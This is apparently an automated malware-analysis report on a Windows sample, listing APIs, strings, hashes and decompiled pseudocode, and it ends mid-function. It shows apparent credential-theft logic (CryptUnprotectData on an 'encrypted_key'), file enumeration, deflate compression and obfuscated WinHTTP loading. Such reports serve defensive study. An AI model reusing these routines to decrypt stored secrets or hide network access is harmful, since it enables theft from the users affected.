strcmp.MSVCRT ref: 0040F05A

Strings

0x%02hhX, xrefs: 0040F027
encrypted_key, xrefs: 0040EEF8, 0040EF18
!, xrefs: 0040EFD7
0x05, xrefs: 0040F04F
0x0D, xrefs: 0040F03B

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: fclose$ByteCharMultiWidefreadmallocstrcmp$AttributesCryptDataFileUnprotect_wfopenfgetposfopenfsetposreallocsprintf
String ID: !$0x%02hhX$0x05$0x0D$encrypted_key
API String ID: 2596569898-939079894
Opcode ID: 805cf607740b1a5f9c37050675237c4453e90da5180a7e15037dfd845fdc5026
Instruction ID: 786053efb03fb7134250340436023ef553204ed8f41ee6c066ba5e47f52fe47d
Opcode Fuzzy Hash: 805cf607740b1a5f9c37050675237c4453e90da5180a7e15037dfd845fdc5026
Instruction Fuzzy Hash: FEC1EAB1A053198FDB50DF25C844B9EBBF0BF45308F0588AEE489E7681D7789A84CF46

Uniqueness

Uniqueness Score: -1.00%

Function 0040753D, Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 280fileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 004075C4
SetErrorMode.KERNEL32 ref: 004076EB
MultiByteToWideChar.KERNEL32 ref: 0040771F
wcscat.MSVCRT ref: 00407732
FindFirstFileW.KERNEL32 ref: 00407745
FindClose.KERNEL32(?,?), ref: 00407775
WideCharToMultiByte.KERNEL32 ref: 00407809
MultiByteToWideChar.KERNEL32 ref: 00407932
wcscat.MSVCRT ref: 00407948

Part of subcall function 00406B2B: _wfopen.MSVCRT ref: 00406B69
Part of subcall function 00406B2B: fread.MSVCRT ref: 00406BA2
Part of subcall function 00406B2B: fclose.MSVCRT ref: 00406C1A

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004079AB

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00405D7D: EnterCriticalSection.KERNEL32 ref: 00405DAD
Part of subcall function 00405D7D: LeaveCriticalSection.KERNEL32 ref: 00405ECC

FindNextFileW.KERNEL32(?,?), ref: 00407A42

Strings

%s%s\, xrefs: 0040789A
!, xrefs: 00407951

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ByteCharMultiWide$Find$CriticalFileSectionwcscat$CloseEnterErrorFirstLeaveModeNext_vsnprintf_wfopenfclosefread
String ID: !$%s%s\
API String ID: 1195691543-1081718417
Opcode ID: 0db96d41e41699db9f656d7569e1933fb0474d28dc8816ba95a9ce2816225d2e
Instruction ID: 2942108eb55d8b4688eca57bfe31ed8b2614f53b08094f2a7ccf2ab1801ba34f
Opcode Fuzzy Hash: 0db96d41e41699db9f656d7569e1933fb0474d28dc8816ba95a9ce2816225d2e
Instruction Fuzzy Hash: 5DE1B0B09097819FD320EF25C58879FBBE0BF84744F41892EE4D897291D7B895898F87

Uniqueness

Uniqueness Score: -1.00%

Function 00406453, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 204filetimeCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00406492
SetErrorMode.KERNEL32 ref: 004064A1
FindFirstFileW.KERNEL32 ref: 004064B5
FileTimeToSystemTime.KERNEL32 ref: 00406547
WideCharToMultiByte.KERNEL32 ref: 00406617
FindNextFileW.KERNEL32 ref: 00406745
FindClose.KERNEL32 ref: 00406757

Part of subcall function 00405D7D: EnterCriticalSection.KERNEL32 ref: 00405DAD
Part of subcall function 00405D7D: LeaveCriticalSection.KERNEL32 ref: 00405ECC

Part of subcall function 00407F59: free.MSVCRT ref: 00407F6A

Strings

%.2d/%.2d/%d %.2d:%.2d:%.2d, xrefs: 00406534
, xrefs: 00406568

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: FileFind$ByteCharCriticalMultiSectionTimeWide$CloseEnterErrorFirstLeaveModeNextSystemfree
String ID: $%.2d/%.2d/%d %.2d:%.2d:%.2d
API String ID: 2473485750-562013197
Opcode ID: 3a87355c9401e98f2b6dd8472ebd5ff4394208b68e8698201d5d1cc5e3771088
Instruction ID: 4c70007c882a7ce573aae617e01390b0b466164858f4fbbb4a898ac5e72415b9
Opcode Fuzzy Hash: 3a87355c9401e98f2b6dd8472ebd5ff4394208b68e8698201d5d1cc5e3771088
Instruction Fuzzy Hash: 36A1B2B48087459FD710EF25C18469BBBE4BF84714F01892EF8D897391D7789589CF86

Uniqueness

Uniqueness Score: -1.00%

Function 0040680D, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 168fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00406824
MultiByteToWideChar.KERNEL32 ref: 0040685F
wcscat.MSVCRT ref: 00406872
FindFirstFileW.KERNEL32 ref: 00406885
FindClose.KERNEL32 ref: 004068B2
WideCharToMultiByte.KERNEL32 ref: 00406924
FindNextFileW.KERNEL32 ref: 00406AB7

Strings

%s%s\, xrefs: 00406A5F

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Find$ByteCharFileMultiWide$CloseErrorFirstModeNextwcscat
String ID: %s%s\
API String ID: 1999808103-4005620730
Opcode ID: f1dd5b59dd90e2cd6b86d21233615770f5833fe61e03e8d61d53419095457b90
Instruction ID: 3ec7505ef3af3f69d728aa0d249a2e56fce710592115df83b66c59d2158606e8
Opcode Fuzzy Hash: f1dd5b59dd90e2cd6b86d21233615770f5833fe61e03e8d61d53419095457b90
Instruction Fuzzy Hash: CB8102B06093419FD320EF25C18469BBBE4BF85348F45882EE4C997381D7B89589CF87

Uniqueness

Uniqueness Score: -1.00%

Function 00420420, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 217COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00420557
_assert.MSVCRT ref: 004206E6

Strings

../nettle-3.5.1/memxor.c, xrefs: 00420548, 004206D7
n == 1, xrefs: 004206DF
o, xrefs: 004206CF
n & 1, xrefs: 00420550

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: ../nettle-3.5.1/memxor.c$n & 1$n == 1$o
API String ID: 1222420520-561580802
Opcode ID: c778598c57938beeda3a03c633ed9cdd53ae4a03349816565a6a334ef414175d
Instruction ID: 3ee2903d3d2c0e63440c59b9d95d43c21fe2c472ea4d5dc2fd0c85ac53de4ac0
Opcode Fuzzy Hash: c778598c57938beeda3a03c633ed9cdd53ae4a03349816565a6a334ef414175d
Instruction Fuzzy Hash: BB919E72A083628FC714CF29D48051AFBE2BFD8314F498A2EE8D59B355D735E945CB82

Uniqueness

Uniqueness Score: -1.00%

Function 004208C0, Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 485COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00420C90
_assert.MSVCRT ref: 00420F11

Strings

../nettle-3.5.1/memxor3.c, xrefs: 00420C81, 00420F02
n == 1, xrefs: 00420C89, 00420F0A

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: ../nettle-3.5.1/memxor3.c$n == 1
API String ID: 1222420520-2001704953
Opcode ID: f62c3d4576d8ad505b0a81f0fa83231c5cc89cc9aafe5267dd7225276671c9f6
Instruction ID: a3441135aa71a6079429eef520cd0e1a6c464effaa05f67e07f9da83f6d0b88a
Opcode Fuzzy Hash: f62c3d4576d8ad505b0a81f0fa83231c5cc89cc9aafe5267dd7225276671c9f6
Instruction Fuzzy Hash: 222288716083A18FC724CF29D49052ABBE1BFC9314F448A6EF9E597356D234EA05CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00415079, Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 432
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00415079(void* __eax) {
				int _t306;
				intOrPtr _t307;
				void* _t310;
				int _t312;
				signed int _t314;
				char _t325;
				signed int _t326;
				signed int _t328;
				signed char _t332;
				signed char _t333;
				signed char _t334;
				signed char _t335;
				signed int _t336;
				void* _t339;
				void* _t346;
				signed int _t347;
				void* _t348;
				int _t351;
				char* _t357;
				signed char _t359;
				signed char _t361;
				signed int _t362;
				signed char _t363;
				signed int _t364;
				signed char _t365;
				signed int _t366;
				signed char _t368;
				signed int _t369;
				signed char _t373;
				signed char _t375;
				signed char _t376;
				signed int* _t380;
				void* _t385;
				void* _t386;
				void* _t387;
				signed char _t394;
				signed int _t399;
				signed int _t403;
				signed char _t404;
				signed int _t413;
				signed int _t414;
				signed int _t419;
				intOrPtr _t421;
				signed int _t430;
				signed char _t432;
				signed int _t438;
				void* _t439;
				signed int _t440;
				void* _t442;
				int _t443;
				void* _t444;
				signed int _t446;
				signed int _t447;
				void* _t449;
				intOrPtr* _t450;
				void* _t451;
				char** _t453;

				_t348 = __eax;
				_t450 = _t449 - 0x2bc;
				 *((short*)(__eax + 0x8392)) = 1;
				 *(_t450 + 4) = 0;
				 *_t450 = 0xf;
				E00414976(__eax, 0x120, 0, 0);
				 *(_t450 + 4) = 0;
				 *_t450 = 0xf;
				E00414976(_t348, 0x20, 1, 0);
				_t306 = 0x11e;
				while(1) {
					_t6 = _t306 - 1; // 0x11d
					_t443 = _t6;
					 *(_t450 + 0x20) = _t443;
					if( *((char*)(_t348 + _t306 + 0x8f11)) != 0) {
						break;
					}
					_t306 = _t443;
					if(_t443 != 0x101) {
						continue;
					} else {
					}
					L5:
					_t307 = 0x1e;
					while(1) {
						_t9 = _t307 - 1; // 0x1d
						_t421 = _t9;
						 *((intOrPtr*)(_t450 + 0x24)) = _t421;
						if( *((char*)(_t348 + _t421 + 0x9032)) != 0) {
							break;
						}
						_t307 =  *((intOrPtr*)(_t450 + 0x24));
						if(_t307 != 1) {
							continue;
						} else {
						}
						L10:
						_t444 = _t348 + 0x8f12;
						_t351 =  *(_t450 + 0x20);
						 *((char*)(_t450 + 0x1f)) = 0xff;
						 *(_t450 + 0x14) = 0;
						_t310 = memcpy(_t450 + 0x30, _t444, _t351);
						_t451 = _t450 + 0xc;
						 *(_t451 + 0x2c) = _t310;
						 *(_t451 + 0x28) = 0;
						_t312 = memcpy(_t444 + _t351 + _t351, _t348 + 0x9032,  *(_t451 + 0x24));
						_t446 = 0;
						memset(_t348 + 0x8612, _t312, 0x26 << 0);
						_t453 = _t451 + 0x18;
						_t314 = 0;
						do {
							_t357 =  *((intOrPtr*)(_t453 +  &(_t453[0xa][0x30])));
							_t453[6] = _t357;
							if(_t357 != 0) {
								__eflags = _t314;
								if(_t314 != 0) {
									__eflags = _t314 - 2;
									if(_t314 > 2) {
										__eflags = _t314 - 0xa;
										_t68 = _t446 + 1; // 0x1
										_t439 = _t68;
										_t69 = _t446 + 2; // 0x2
										_t447 = _t69;
										if(_t314 > 0xa) {
											 *((short*)(_t348 + 0x8636)) =  *((short*)(_t348 + 0x8636)) + 1;
											 *((char*)(_t453 + _t446 + 0x170)) = 0x12;
											_t347 = _t314 - 0xb;
											__eflags = _t347;
											_t446 = _t447;
										} else {
											 *((char*)(_t453 + _t446 + 0x170)) = 0x11;
											 *((short*)(_t348 + 0x8634)) =  *((short*)(_t348 + 0x8634)) + 1;
											_t446 = _t447;
											_t347 = _t314 - 3;
										}
										 *(_t453 + _t439 + 0x170) = _t347;
									} else {
										 *(_t348 + 0x8612) =  *(_t348 + 0x8612) + _t314;
										_t440 = 0;
										__eflags = 0;
										_t447 =  &(_t453[0x5c]) + _t446;
										do {
											 *((char*)(_t447 + _t440)) = 0;
											_t440 = _t440 + 1;
											__eflags = _t440 - _t314;
										} while (_t440 != _t314);
										_t446 = _t446 + _t440;
									}
								}
								_t394 = _t453[7];
								__eflags = _t453[6] - _t394;
								if(_t453[6] == _t394) {
									_t453[5] =  &(_t453[5][1]);
									_t314 = 0;
									__eflags = _t453[5] - 6;
									if(__eflags == 0) {
										 *((short*)(_t348 + 0x8632)) =  *((short*)(_t348 + 0x8632)) + 1;
										_t118 = _t446 + 1; // 0x1
										 *((char*)(_t453 + _t446 + 0x170)) = 0x10;
										_t446 = _t446 + 2;
										__eflags = _t446;
										 *((char*)(_t453 + _t118 + 0x170)) = 3;
										goto L39;
									}
								} else {
									__eflags = _t453[5];
									if(__eflags != 0) {
										__eflags = _t453[5] - 2;
										if(_t453[5] > 2) {
											 *((short*)(_t348 + 0x8632)) =  *((short*)(_t348 + 0x8632)) + 1;
											_t98 = _t446 + 1; // 0x1
											 *((char*)(_t453 + _t446 + 0x170)) = 0x10;
											_t446 = _t446 + 2;
											_t419 = _t453[5] - 3;
											__eflags = _t419;
											 *(_t453 + _t98 + 0x170) = _t419;
										} else {
											 *((intOrPtr*)(_t348 + 0x8612 + (_t394 & 0x000000ff) * 2)) =  *((intOrPtr*)(_t348 + 0x8612 + (_t394 & 0x000000ff) * 2)) + _t453[5];
											_t346 = 0;
											_t438 =  &(_t453[0x5c]) + _t446;
											__eflags = _t438;
											do {
												 *((char*)(_t438 + _t346)) = _t453[7];
												_t346 = _t346 + 1;
												__eflags = _t346 - _t453[5];
											} while (__eflags != 0);
											_t446 = _t446 + _t346;
										}
									}
									 *((short*)(_t348 + 0x8612 + (_t453[6] & 0x000000ff) * 2)) =  *((short*)(_t348 + 0x8612 + (_t453[6] & 0x000000ff) * 2)) + 1;
									 *((char*)(_t453 + _t446 + 0x170)) = _t453[6];
									_t446 = _t446 + 1;
									L39:
									_t453[5] = 0;
									goto L40;
								}
							} else {
								if(_t453[5] != 0) {
									if(_t453[5] > 2) {
										 *((short*)(_t348 + 0x8632)) =  *((short*)(_t348 + 0x8632)) + 1;
										_t50 = _t446 + 1; // 0x1
										 *((char*)(_t453 + _t446 + 0x170)) = 0x10;
										_t446 = _t446 + 2;
										_t399 = _t453[5] - 3;
										__eflags = _t399;
										 *(_t453 + _t50 + 0x170) = _t399;
									} else {
										_t447 =  &(_t453[0x5c]) + _t446;
										 *((intOrPtr*)(_t348 + 0x8612 + (_t453[7] & 0x000000ff) * 2)) =  *((intOrPtr*)(_t348 + 0x8612 + (_t453[7] & 0x000000ff) * 2)) + _t453[5];
										_t442 = 0;
										do {
											 *((char*)(_t447 + _t442)) = _t453[7];
											_t442 = _t442 + 1;
										} while (_t442 != _t453[5]);
										_t446 = _t446 + _t442;
									}
								}
								_t314 = _t314 + 1;
								_t453[5] = 0;
								if(_t314 == 0x8a) {
									_t56 = _t446 + 1; // -1
									 *((char*)(_t453 + _t446 + 0x170)) = 0x12;
									 *((short*)(_t348 + 0x8636)) =  *((short*)(_t348 + 0x8636)) + 1;
									_t446 = _t446 + 2;
									 *((char*)(_t453 + _t56 + 0x170)) = 0x7f;
									L40:
									_t314 = 0;
								}
							}
							_t453[0xa] =  &(_t453[0xa][1]);
							_t453[7] = _t453[6];
						} while (_t453[0xb] > _t453[0xa]);
						if(_t453[5] == 0) {
							__eflags = _t314;
							if(__eflags != 0) {
								__eflags = _t314 - 2;
								if(_t314 > 2) {
									__eflags = _t314 - 0xa;
									_t159 = _t446 + 1; // 0x1
									_t385 = _t159;
									_t160 = _t446 + 2; // 0x2
									_t413 = _t160;
									if(__eflags > 0) {
										 *((short*)(_t348 + 0x8636)) =  *((short*)(_t348 + 0x8636)) + 1;
										 *((char*)(_t453 + _t446 + 0x170)) = 0x12;
										_t336 = _t314 - 0xb;
										__eflags = _t336;
										_t446 = _t413;
									} else {
										 *((char*)(_t453 + _t446 + 0x170)) = 0x11;
										 *((short*)(_t348 + 0x8634)) =  *((short*)(_t348 + 0x8634)) + 1;
										_t446 = _t413;
										_t336 = _t314 - 3;
									}
									 *(_t453 + _t385 + 0x170) = _t336;
								} else {
									 *(_t348 + 0x8612) =  *(_t348 + 0x8612) + _t314;
									_t386 = _t453 + _t446 + 0x170;
									_t414 = 0;
									__eflags = 0;
									do {
										 *((char*)(_t386 + _t414)) = 0;
										_t414 = _t414 + 1;
										__eflags = _t414 - _t314;
									} while (__eflags != 0);
									_t446 = _t446 + _t414;
								}
							}
						} else {
							if(_t453[5] > 2) {
								_t147 = _t446 + 1; // 0x1
								 *((char*)(_t453 + _t446 + 0x170)) = 0x10;
								 *((short*)(_t348 + 0x8632)) =  *((short*)(_t348 + 0x8632)) + 1;
								_t446 = _t446 + 2;
								 *((char*)(_t453 + _t147 + 0x170)) = _t453[5] - 3;
							} else {
								_t387 = _t453 + _t446 + 0x170;
								 *((intOrPtr*)(_t348 + 0x8612 + (_t453[6] & 0x000000ff) * 2)) =  *((intOrPtr*)(_t348 + 0x8612 + (_t453[6] & 0x000000ff) * 2)) + _t453[5];
								_t339 = 0;
								do {
									 *((char*)(_t387 + _t339)) = _t453[6];
									_t339 = _t339 + 1;
									_t472 = _t453[5] - _t339;
								} while (_t453[5] != _t339);
								_t446 =  &(_t453[5][_t446]);
							}
						}
						_t453[1] = 0;
						 *_t453 = 7;
						E00414976(_t348, 0x13, 2, _t472);
						_t359 =  *(_t348 + 0x44);
						 *(_t348 + 0x48) =  *(_t348 + 0x48) | 0x00000002 << _t359;
						 *(_t348 + 0x44) = _t359 + 2;
						while(1) {
							_t361 =  *(_t348 + 0x44);
							if(_t361 <= 7) {
								break;
							}
							_t335 =  *(_t348 + 0x30);
							if(_t335 <  *((intOrPtr*)(_t348 + 0x34))) {
								 *(_t348 + 0x30) = _t335 + 1;
								 *_t335 =  *(_t348 + 0x48);
							}
							 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
							 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
						}
						 *(_t348 + 0x48) =  *(_t348 + 0x48) | _t453[8] - 0x00000101 << _t361;
						_t362 = _t361 + 5;
						__eflags = _t362;
						 *(_t348 + 0x44) = _t362;
						while(1) {
							_t363 =  *(_t348 + 0x44);
							__eflags = _t363 - 7;
							if(_t363 <= 7) {
								break;
							}
							_t334 =  *(_t348 + 0x30);
							__eflags = _t334 -  *((intOrPtr*)(_t348 + 0x34));
							if(_t334 <  *((intOrPtr*)(_t348 + 0x34))) {
								 *(_t348 + 0x30) = _t334 + 1;
								 *_t334 =  *(_t348 + 0x48);
							}
							 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
							 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
						}
						 *(_t348 + 0x48) =  *(_t348 + 0x48) | _t453[9] - 0x00000001 << _t363;
						_t364 = _t363 + 5;
						__eflags = _t364;
						 *(_t348 + 0x44) = _t364;
						while(1) {
							_t365 =  *(_t348 + 0x44);
							__eflags = _t365 - 7;
							if(_t365 <= 7) {
								break;
							}
							_t333 =  *(_t348 + 0x30);
							__eflags = _t333 -  *((intOrPtr*)(_t348 + 0x34));
							if(_t333 <  *((intOrPtr*)(_t348 + 0x34))) {
								 *(_t348 + 0x30) = _t333 + 1;
								 *_t333 =  *(_t348 + 0x48);
							}
							 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
							 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
						}
						_t325 = 0x12;
						while(1) {
							_t214 = _t325 + 0x424c9c; // 0x101000f
							_t403 =  *_t214 & 0x000000ff;
							__eflags =  *((char*)(_t348 + _t403 + 0x9152));
							if( *((char*)(_t348 + _t403 + 0x9152)) != 0) {
								break;
							}
							_t325 = _t325 - 1;
							__eflags = _t325 - 0xffffffff;
							if(_t325 != 0xffffffff) {
								continue;
							} else {
								_t404 = 4;
								L76:
								_t217 = _t404 - 4; // 0x0
								_t326 = _t217;
							}
							L77:
							 *(_t348 + 0x48) =  *(_t348 + 0x48) | _t326 << _t365;
							_t366 = _t365 + 4;
							__eflags = _t366;
							 *(_t348 + 0x44) = _t366;
							while(1) {
								__eflags =  *(_t348 + 0x44) - 7;
								if( *(_t348 + 0x44) <= 7) {
									break;
								}
								_t332 =  *(_t348 + 0x30);
								__eflags = _t332 -  *((intOrPtr*)(_t348 + 0x34));
								if(_t332 <  *((intOrPtr*)(_t348 + 0x34))) {
									 *(_t348 + 0x30) = _t332 + 1;
									 *_t332 =  *(_t348 + 0x48);
								}
								 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
								 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
							}
							_t328 = 0;
							__eflags = 0;
							while(1) {
								_t231 = _t328 + 0x424c9c; // 0x121110
								_t430 =  *(_t348 + ( *_t231 & 0x000000ff) + 0x9152) & 0x000000ff;
								__eflags = _t430 - 7;
								if(_t430 > 7) {
									break;
								}
								_t368 =  *(_t348 + 0x44);
								 *(_t348 + 0x48) =  *(_t348 + 0x48) | _t430 << _t368;
								_t369 = _t368 + 3;
								__eflags = _t369;
								 *(_t348 + 0x44) = _t369;
								while(1) {
									__eflags =  *(_t348 + 0x44) - 7;
									if( *(_t348 + 0x44) <= 7) {
										break;
									}
									_t432 =  *(_t348 + 0x30);
									__eflags = _t432 -  *((intOrPtr*)(_t348 + 0x34));
									if(_t432 <  *((intOrPtr*)(_t348 + 0x34))) {
										 *(_t348 + 0x30) = _t432 + 1;
										 *_t432 =  *(_t348 + 0x48);
									}
									 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
									 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
								}
								_t328 = _t328 + 1;
								__eflags = _t328 - _t404;
								if(_t328 != _t404) {
									continue;
								} else {
									_t453[5] = 0;
									while(1) {
										L98:
										__eflags = _t446 - _t453[5];
										if(_t446 <= _t453[5]) {
											break;
										}
										_t328 = _t453[5];
										_t265 = _t328 + 1; // 0x1
										_t447 = _t265;
										_t404 =  *(_t453 + _t447 + 0x16f) & 0x000000ff;
										__eflags = _t404 - 0x12;
										if(_t404 <= 0x12) {
											_t432 =  *(_t348 + 0x8cd2 + _t404 * 2) & 0x0000ffff;
											_t453[6] =  *(_t348 + _t404 + 0x9152) & 0x000000ff;
											_t328 = 1 << _t453[6];
											__eflags = _t432;
											if(_t432 <= 0) {
												_t373 =  *(_t348 + 0x44);
												_t272 = _t348 + 0x48;
												 *_t272 =  *(_t348 + 0x48) | _t432 << _t373;
												__eflags =  *_t272;
												 *(_t348 + 0x44) = _t373 + _t453[6];
												while(1) {
													_t432 =  *(_t348 + 0x44);
													__eflags = _t432 - 7;
													if(_t432 <= 7) {
														break;
													}
													_t380 =  *(_t348 + 0x30);
													__eflags = _t380 -  *((intOrPtr*)(_t348 + 0x34));
													if(_t380 <  *((intOrPtr*)(_t348 + 0x34))) {
														_t328 =  *(_t348 + 0x48);
														 *(_t348 + 0x30) =  &(_t380[0]);
														 *_t380 = _t328;
													}
													 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
													 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
												}
												__eflags = _t404 - 0xf;
												if(_t404 <= 0xf) {
													_t453[5] = _t447;
													continue;
												} else {
													_t404 =  *((char*)(_t404 + "_HUFF_SYMBOLS_2"));
													_t447 =  *(_t453 + _t447 + 0x170) & 0x000000ff;
													_t453[5] = _t453[5] + 2;
													_t328 = 1 << _t404;
													__eflags = _t447;
													if(_t447 <= 0) {
														goto L96;
													} else {
														_t453[2] = 0xb7c;
														goto L94;
													}
												}
												goto L116;
											} else {
												_t453[2] = 0xb79;
												L94:
												_t453[1] = 0x424620;
												 *_t453 = "bits <= ((1U << len) - 1U)";
												goto L95;
											}
										} else {
											_t453[2] = 0xb78;
											_t453[1] = 0x424620;
											 *_t453 = "code < TDEFL_MAX_HUFF_SYMBOLS_2";
											L95:
											L0041F7E4();
											L96:
											_t375 = _t432;
											_t432 = _t432 + _t404;
											_t259 = _t348 + 0x48;
											 *_t259 =  *(_t348 + 0x48) | _t447 << _t375;
											__eflags =  *_t259;
											 *(_t348 + 0x44) = _t432;
											while(1) {
												__eflags =  *(_t348 + 0x44) - 7;
												if( *(_t348 + 0x44) <= 7) {
													goto L98;
												}
												_t376 =  *(_t348 + 0x30);
												__eflags = _t376 -  *((intOrPtr*)(_t348 + 0x34));
												if(_t376 <  *((intOrPtr*)(_t348 + 0x34))) {
													 *(_t348 + 0x30) = _t376 + 1;
													 *_t376 =  *(_t348 + 0x48);
												}
												 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
												 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
											}
										}
										L116:
									}
									return _t328;
									goto L116;
								}
								goto L98;
							}
							_t453[2] = 0xb73;
							goto L94;
						}
						__eflags = _t325 - 2;
						_t301 = _t325 + 1; // 0x13
						_t404 = _t301;
						if(_t325 > 2) {
							goto L76;
						} else {
							_t326 = 0;
							_t404 = 4;
							goto L77;
						}
						goto L116;
					}
					 *((intOrPtr*)(_t450 + 0x24)) = _t307;
					goto L10;
				}
				 *(_t450 + 0x20) = _t306;
				goto L5;
			}

APIs

_assert.MSVCRT ref: 004155C8

Strings

bits <= ((1U << len) - 1U), xrefs: 004155C1
code < TDEFL_MAX_HUFF_SYMBOLS_2, xrefs: 00415611

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: bits <= ((1U << len) - 1U)$code < TDEFL_MAX_HUFF_SYMBOLS_2
API String ID: 1222420520-1705079405
Opcode ID: 46893e09e37b25dd200b0db0f7321bbeb65247fb8bfb45dea1f34a14322b6770
Instruction ID: 8934405eb0176573ac8fe7b21ac65539928ae6525602ef26ebf357b260492e82
Opcode Fuzzy Hash: 46893e09e37b25dd200b0db0f7321bbeb65247fb8bfb45dea1f34a14322b6770
Instruction Fuzzy Hash: 7712B131508741CBCB15CF28C0842EABBE2FFD5304F5849AED8994B346E779D989CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00408417, Relevance: 56.3, APIs: 13, Strings: 19, Instructions: 294
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 18%

			E00408417(void* __edx, void* __eflags, int _a8, void* _a11, void* _a12, void* _a13, void* _a14, void* _a15, void* _a16, void _a17, void* _a24, intOrPtr _a28, void* _a36, char _a48, char _a56, void _a60, void _a64, intOrPtr _a80, char _a100, char _a101, char _a102, char _a103, void _a104, char _a105, void _a112, void _a128, void* _a140, char _a172, char _a204, char _a236) {
				void _v0;
				void _v4;
				void _v8;
				void* _v12;
				void* _v16;
				void* _v24;
				void* _v28;
				void* _v32;
				void _v40;
				void* _v44;
				void* _v48;
				CHAR* _t121;
				void* _t124;
				struct HINSTANCE__* _t125;
				_Unknown_base(*)()* _t126;
				intOrPtr _t127;
				struct HINSTANCE__* _t128;
				_Unknown_base(*)()* _t129;
				void* _t130;
				void* _t138;
				void* _t142;
				void* _t146;
				void* _t147;
				void* _t151;
				void* _t152;
				void* _t156;
				intOrPtr _t160;
				int _t162;
				void* _t165;
				void* _t167;
				void* _t180;
				void* _t184;
				void* _t185;
				void* _t189;
				intOrPtr* _t198;
				intOrPtr _t199;
				void* _t200;
				void _t201;
				intOrPtr _t202;
				void _t203;
				void* _t214;
				CHAR* _t215;
				CHAR* _t232;
				_Unknown_base(*)()* _t234;
				void* _t236;
				void* _t237;
				void* _t238;
				void* _t242;
				void* _t243;
				struct HINSTANCE__* _t245;
				void* _t246;
				void* _t248;
				void* _t249;
				void* _t250;
				intOrPtr* _t255;

				_t214 = __edx;
				_t250 = _t249 - E0041F3F0(0x110c);
				_t121 = E004081AA("U4R-55sTsdR");
				_t198 = GetProcAddress(LoadLibraryA("winhttp.dll"), _t121);
				_v16 = "U4R-55sEd590WfZ_W0u0i";
				_t124 = E004081AA(_t215);
				_v16 = "winhttp.dll";
				_t125 = LoadLibraryA(_t215);
				_v12 = _t124;
				_v16 = _t125;
				_t126 = GetProcAddress(_t245, _t232);
				_push(_t214);
				_push(_t214);
				if(_t198 != 0 && _t126 != 0) {
					memcpy( &_a104, L"InternetProxy", 7 << 2);
					_t204 = 0;
					_v0 = 0;
					_v4 = 0;
					_v8 = 0;
					_v12 = 1;
					_v16 =  &_a104;
					_a28 = 0;
					_t160 =  *_t198();
					_t250 = _t250 + 0xc - 0x14;
					_t202 = _t160;
					if(_t160 != 0) {
						_t214 =  &_a48;
						_t162 = memset( &_a60, _a8, 6 << 2);
						_a60 = 1;
						_a64 = 3;
						_a80 = 1;
						memset(_t214, _t162, 3 << 2);
						_t165 = memcpy( &_a112, L"http://www.yandex.com", 0xb << 2);
